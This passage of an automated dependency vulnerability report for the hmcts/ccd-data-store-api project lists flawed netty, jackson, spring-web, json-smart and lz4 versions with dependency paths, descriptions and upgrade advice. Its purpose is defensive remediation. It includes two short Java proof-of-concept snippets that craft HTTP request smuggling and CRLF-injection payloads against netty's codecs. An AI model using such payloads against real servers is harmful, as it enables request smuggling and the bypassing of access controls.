Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the LZ4BlockInputStream process. An attacker can cause excessive memory allocation and exhaust system resources by supplying a crafted legacy LZ4Block stream with a large compressedLen value in the stream header.
Remediation
Upgrade at.yawk.lz4:lz4-java to version 1.11.2 or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HttpContentEncoder. An attacker can cause unbounded memory consumption by sending a large number of HTTP/1.1 pipelined requests faster than the application can generate responses, leading to resource exhaustion.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.
PoC
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.
PoC
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in HttpObjectDecoder.java, which skips whitespace as well as bytes 0x00-0x1F and 0x7F. An attacker can cause request-boundary confusion in pipelined or multiplexed transports by sending malicious HTTP requests containing arbitrary control characters, which may be interpreted differently by front-end components.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.135.Final, 4.2.15.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling due to incomplete validation of request Transfer-Encoding headers. An attacker can inject arbitrary HTTP requests by sending malformed request framing where chunked appears in a Transfer-Encoding field but is not the final transfer-coding token, such as split across multiple header lines or hidden in pseudo-suffix values like chunked, xchunked. The decoder accepts these malformed encodings as chunked and then derives an ambiguous message length, which lets a crafted request be parsed differently by front-end and back-end components. That can desynchronize HTTP processing and allow the attacker to smuggle requests through a proxy or intermediary.
Remediation
Upgrade io.netty:netty-codec-http to version 4.2.18.Final, 4.1.138.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the isContentAlwaysEmpty() method of HttpServerCodec, which calls pollMethod() once per outbound response including for 1xx status codes, so the queue of pending request methods falls out of step with the responses being written. An attacker can have a response body misrouted or dropped and leave the socket unsafe for further pipelined reuse, reaching response smuggling, by pipelining a GET followed by a HEAD while sending Expect: 100-continue, which makes the codec pair the HEAD with the 200 OK intended for the GET, drop that body under HEAD semantics, and then write the HEAD response with a body. This requires HTTP/1.1 pipelining on the connection, a HEAD request following a GET, and the client supplying the Expect: 100-continue header.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.137.Final, 4.2.17.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Incorrect Authorization in the CorsHandler. An attacker can gain unauthorized access to backend resources by sending requests with an Origin: null header, which bypasses the intended access controls due to a logical operator error in the origin evaluation.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.Final
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the SniHandler and SslClientHelloHandler process. An attacker can exhaust CPU resources on the event loop by sending a fragmented TLS handshake with a small initial record advertising a large ClientHello length, followed by many tiny fragments. This causes the handler to repeatedly reparse and recopy all accumulated handshake data, resulting in quadratic CPU usage before the handshake completes. This can degrade or stall TLS connection handling for all clients on the affected event loop.
Remediation
Upgrade io.netty:netty-handler to version 4.1.137.Final, 4.2.17.Final or higher.
References
medium severity
new
- Vulnerable module: net.minidev:json-smart
- Introduced through: net.minidev:json-smart@2.6.0, com.jayway.jsonpath:json-path@2.10.0 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › net.minidev:json-smart@2.6.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › com.jayway.jsonpath:json-path@2.10.0 › net.minidev:json-smart@2.6.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › com.nimbusds:oauth2-oidc-sdk@11.38.2 › net.minidev:json-smart@2.6.0
Overview
net.minidev:json-smart is a Java JSON parser.
Affected versions of this package are vulnerable to Improper Neutralization via the parseInner function in the JSONParserBase parser. An attacker can evade JSONValue.parseStrict or isValidJsonStrict by sending a valid JSON value followed by a literal 0x1A character and malformed content; parseInner mistakes the character for end-of-input and skips the trailing-data check. Applications that rely on these strict-validation methods can accept input that downstream parsers such as Jackson or Gson interpret differently.
Remediation
There is no fixed version for net.minidev:json-smart.
References
medium severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the form of improper ETag prefix validation when parsing ETags from the If-Match or If-None-Match request headers. An attacker can exploit this vulnerability to cause denial of service by sending a maliciously crafted conditional HTTP request.
Workaround
Users of older, unsupported versions could enforce a size limit on If-Match and If-None-Match headers, e.g. through a Filter.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.springframework:spring-web to version 5.3.38, 6.0.23, 6.1.12 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-core
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0 › tools.jackson.core:jackson-core@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-core@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-core@3.1.7.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the PATTERN_FLOAT regex of NumberInput, reached through looksLikeValidNumber(), where adjacent quantifiers over the same character class ([0-9]*, then an optional [.], then [0-9]+) carry no possessive quantifiers or atomic grouping, so the engine explores every split point between digit groups on non-matching input. An attacker can pin a request-handling thread and exhaust the worker pool with concurrent requests by supplying a long numeric-looking string that fails to match, since match cost is quadratic in input length, with 160,000 characters costing 74.4 seconds in a single call. This requires the application to reach looksLikeValidNumber() with attacker-controlled strings, which is the default path when jackson-databind coerces a String field to a number, and the input is bounded only by StreamReadConstraints.maxStringLength at 20,000,000 rather than by maxNumberLength at 1,000.
Workaround
This vulnerability can be avoided by lowering StreamReadConstraints.maxStringLength toward the string length the application actually needs, which caps the input this quadratic path can be handed, since it is that limit and not maxNumberLength that governs here.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.2 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.7.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _findDeserializer() method of TypeDeserializerBase, which caches every unknown type ID as a distinct key in the _deserializers map even when all of them resolve to the same defaultImpl fallback. An attacker can grow that cache without bound for the lifetime of the process, exhausting memory over time, by submitting a stream of novel type identifiers. This requires the application to use name-based polymorphism through @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), to accept attacker-controlled type identifiers, and to reuse the mapper instance across requests.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the POJOPropertiesCollector._renameProperties() and BeanDeserializerFactory.addBeanProps() methods, which rename rather than drop a property whose getter carries @JsonProperty and whose setter carries @JsonIgnore, leaving the private backing field writable. An attacker can write a field that was meant to be unsettable, enabling property tampering and mass assignment, by supplying the renamed JSON key during deserialization, because the factory observes hasField()==true and builds a writable FieldProperty for the backing field. Exploitation requires MapperFeature.INFER_PROPERTY_MUTATORS to be enabled, which is the default, and a target type that pairs a renamed getter with an ignored setter, and the impact is limited to writing existing fields with no path to remote code execution.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the BeanDeserializerBase.createContextual() method, which applies the per-property exclusions through _handleByNameInclusion() and then rebuilds the property map from the unfiltered original, overwriting the filtered map and restoring every property the exclusion had removed. An attacker can set fields that were marked ignored, enabling mass assignment, by supplying those property names in untrusted JSON during deserialization. Exploitation requires case-insensitive property matching to be enabled via @JsonFormat with ACCEPT_CASE_INSENSITIVE_PROPERTIES alongside per-property @JsonIgnoreProperties.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
